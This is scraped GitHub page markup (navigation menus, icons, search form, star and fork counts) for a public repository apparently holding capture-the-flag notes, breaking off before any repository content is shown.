<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="66079706" data-scoped-search-url="/73696e65/ctf-notes/search" data-owner-scoped-search-url="/users/73696e65/search" data-unscoped-search-url="/search" data-turbo="false" action="/73696e65/ctf-notes/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="14ahAK0v2x1CRhKQSDj8Tn2bKbQ7W01YYbd9w3yFE/9id5L4JaT5XCj0ZxVRveNG531emFItYaw7fCLpaeniUA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 73696e65 </span> <span>/</span> ctf-notes
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>6</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>23</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
